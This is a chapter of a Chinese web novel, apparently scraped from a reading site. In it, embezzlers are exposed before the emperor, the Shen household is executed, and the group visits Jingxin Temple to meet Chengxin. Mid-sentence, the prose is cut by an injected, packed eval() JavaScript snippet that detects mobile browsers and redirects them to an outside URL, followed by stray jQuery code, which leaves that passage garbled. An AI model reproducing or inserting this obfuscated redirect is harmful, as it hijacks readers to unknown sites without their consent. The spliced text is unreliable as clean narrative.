早就等候在一旁的小厮连忙招呼五人进去,没给叶檀忏留下伤春悲秋的时间。
收拾一番后,江述将几人带入宫内,乾清宫前,皇帝身边的大太监谨言公公早早在殿外等候。
看见江述将人领进来,谨言公公连忙迎上去:“陛下早已等候多时,请诸位随我来吧。”
入殿之后,因圣上龙颜不可直视,五人都低垂着头。
接下来就是由谨言宣旨夸赞他们五人多么多么英勇多么多么机敏,听得沈昙宁都快犯困了。
因在路上江述转达圣上意思,询问除谢黎川之外的四人有无做官之意,明确表示没有后,江述将此上报。
因而殷至除了提拔了一下谢黎川,剩下的全是赏赐金银财宝,因四人明确提出无意仕途,故而这番赏赐并不会落人口舌。
结束之后,殷至遣散无关之人,仅留下五人,连同江述和谨言共七人。
上面轻飘飘传来一道声音,是对着谢黎川说的:“还有什么要件,呈上来吧。”
谨言公公从谢黎川手中接过一本账目呈了上去。
四下一片寂静,只能听见上头传来的翻页声。
那声音越来越慢,到了后面,七人只听见“啪”的一声,是账本被合上的声音。
“放肆!”忽然殷至大喝一声,将在场的所有人吓了一跳,谨言公公吓得汗都要滴下来了,在心里盘算着什么账本能让陛下如此震怒。
“朕今日真是开了眼了,真是没有想到有人还敢在朕的眼皮子底下做这种事!还不是一个人,这几十个人一做就是十几年!”
七人听到龙颜大怒,连忙都跪了下来,谨言公公更是吓得腿都软了,他本应该喊一声“圣上息怒”。
可他已经二十多年都没有看到圣上如此震怒了。
几十个人,这得抄多少家人啊,二十二年前都没有这么多的人。
死一般的沉寂在乾清宫蔓延开来,一时无言,众人都战战兢兢,如履薄冰。
“黎川,你做得很好,若不是你亲手将证据交给朕,朕恐怕还不知道有这么回事,怕是还没呈上来,就被那群吃里扒外的狗东西们给瞒下了。”
“你们做得很好,朕要谢谢你们,你们功加一等,有什么愿望等想到的时候同朕说。”
说完,就示意谨言公公将五人带下去了。
随后宣刑部尚书前来,按照账目一一论罪处刑,由谨言公公前去宣旨。
……
一时间无数贪官污吏被打入大牢,六部之内皆有蛀虫,尤其是以户部和大理寺最甚。
出宫后沈昙宁并没有回到沈家,因为她只呆过一次的沈家已经被人抄家了。
前户部尚书沈承平挪用公款,蔑视王法,徇私舞弊,同乱臣贼子暗通款曲,图谋不轨,迷信巫蛊。
沈氏之女沈昙宁自幼在外,与沈府无干系,又破案有功,现沈家上下除沈昙宁一人外其余之人处死刑,家产抄没,诛连九族,以儆效尤。
其父族四、母族三、妻族二,并门下党羽,皆按律处决。
虽说沈昙宁自幼在外,不曾怎么见过亲人,这好不容易得以回京,还被宋韵清二人拐走。
如今案件得破,水落石出,没想到这再次回家竟落得个家破人亡的地步。其实这一切也早有端倪,户部尚书虽官至三品,仅靠俸禄确实无法做到那么挥霍。
巫岐阳建设地宫的钱恐怕也是沈承平从国库里拿的了。
想到这儿,宋谢二人不由得心生愧疚,宋韵清走上前去轻轻地拍了拍沈昙宁的背以示安慰。
对方低头沉思着,在宋韵清眼中沈昙宁这是过度悲伤不想让人看出来。
当她抬头朝自己微微一笑时,又是在强颜欢笑。
现在无论沈昙宁有任何动作,宋韵清都认为她是在掩饰自己的悲伤失落。
无奈之下,方才困扰沈昙宁许久的问题,忽然有了解决办法。
她顺水推舟,这次是真的装出一副悲伤的样子,提出想回她自小长大的地方去看看,那是她最后的家了。
自小长大的地方,说的就是郊外不归山上的净心寺,很明显最后那句“最后的家”深深打动了除萧溪外的所有人。
就连叶檀忏也相信沈昙宁是真的想念净心寺了。
只有萧溪一人,在众人看不见的地方,给她悄悄竖了个大拇指,口型暗示道:你演技可真帮。
四人准备好马车打算出发时,向来心细爱操心的谢黎川环顾一周,没看见萧溪人。
“有谁看到萧公子了吗?”
“他方才和我说,说他在外面呆了那么多年了,连块肉都没有吃过。”听到谢黎川的发问,沈昙宁当即站出来回答,“他许是去买烤鸭吃了,怕大家笑话,自己偷偷溜走了。”
众人等了一会,萧溪才姗姗来迟,几人盯着他嘴角看了一眼,干干净净,不像是吃了烤鸭的样子。
许是早已掩饰干净了。
“萧公子怎么吃烤鸭吃了那么长时间,真是让人久等。”叶檀忏对萧溪的敌意还存在,抓到任何小辫子就揪住不放。
明明是去办正事的萧溪突然被人冤枉说去偷吃烤鸭了,真是比窦娥还冤。
他当即急得跳脚:“谁吃烤鸭了,怎么还污蔑人,你才……”
看向叶檀忏的眼神不经意间对上了“罪魁祸首”沈昙宁的眼睛。
后面的话语被他尽数吞咽了下去,连忙生硬地转了个弯:“我吃烤鸭怎么了?吃你家大米了?管得真宽。”
这一番变化正在众人眼里就是嘴硬,沈昙宁见两人还有要争吵下去的趋势,再让他们吵下去,天都要黑了。
连忙上前制止了两人,最后一句话是萧溪说的,在叶檀忏看来沈昙宁就是在护着他。
不由得心生委屈,谁也不理,径直上车,一路上冷着个脸,谁也不敢上前搭话。
去净心寺的路上还有一段距离,众人觉得无聊,宋韵清开口提问道:“沈姐姐可以和我们简单介绍一下净心寺吗?沈姐姐的师父是谁?”
净心寺如今的主持是明心大师,而她的师父澄心大师是他的师弟,也是净心寺的首座。
不过明心大师后来出去云游了,净心寺就交由澄心来管理。
“平时师父管理
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950661|177550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寺院上下也比较忙碌,大多时候都是我一个人在寺院里瞎转悠,看看经书。”
“净心寺朴素,比不得皇家寺院的护国寺,但它的斋饭还是不错的。”沈昙宁补充道。
谈话间,五人已经到达不归山山脚下,由沈昙宁带领着四人沿着石梯来到了净心寺的大门。
清晨的薄雾还没散去,路边的野草上沾着露珠,青蓝色的衣袍掠过,衣角染上了淡淡的水汽。
守门的僧人微微眯阖着眼,不知是在打盹还是入定,没有发觉几人的到来。
众僧侣们整下了早课,对院内突然出现的三张陌生的脸,对之以微笑颔首。
因着是沈昙宁带回来的客人,于情于理都应去拜访一下她的师父。
“师父此时应当在院内读经书,我的房间也在那附近。”
解释完,沈昙宁带着几人从假山后面绕过去,抄了条近道回去。
别看净心寺处处透露着朴素,但占地面积着实不小,倘若没人带领,迷路是迟早的事。
加上沈昙宁这一抄近路,众人更是觉得晕头转向的,像迷宫一样,一层又一层。
“这里比青城山大多了,而且一层一层的,好晕。”宋韵清对比了一番,总结道,“难怪沈姐姐你以前能在寺里面到处瞎逛,原来这里有这么大啊。”
“这你就不懂了吧,这就叫‘山外青山楼外楼’‘只缘身在此山中’,禅意妙不可言。”萧溪一副神神秘秘的样子让剩下的几人当真去细细体会了。
看着萧溪一副装神弄鬼的样子,随口胡扯的几句话还能被三人听进去,沈昙宁不由得觉得好笑。
真是一个敢说三个敢听。
这样笑着,就连马上要见到澄心时的紧张也淡了不少。
庭中寂静,夏日的暑气也即将散去,一层秋意已渐渐爬上枝头。
一片已经泛着红的枫叶从五人头顶飘过,被风裹挟着飘飘悠悠地落在地上。
露天的石凳上坐着一位年轻的僧人,雪白的僧袍给他增添了几分圣洁,他手持一本经书,低头敛目,眉眼沉静。
听闻声响,他放下手中的经书,抬起头来,目光在五人身上轻轻扫过,同沈昙宁的视线对上。
“回来了。”
“是的,师父。”
此话一出,三人皆惊,他们以为沈昙宁的师父不是白发苍苍也得和他们的父亲一般大,没想到看上去竟如此年轻。
对此已经见怪不怪的萧溪说实话也同沈昙宁一样有点紧张。
他左右张望着,竭力想将身形藏起来,谁料澄心的目光同他精准地对视上了。
他的语气比刚才的更淡了:“你也回来了。”
这话听得萧溪浑身发毛,他忍不住去揣摩这其中的意思。
你也回来了。
为什么巫岐阳都死了,你却活着回来了?
你背叛了巫岐阳将其反杀还敢回来。
澄心到底是怎么想的萧溪不知道,但他感觉自己已经死了有一会了。
从小到大他最怕的不是眼中写满了恶毒的巫岐阳,而是一尘不染总是淡漠的澄心。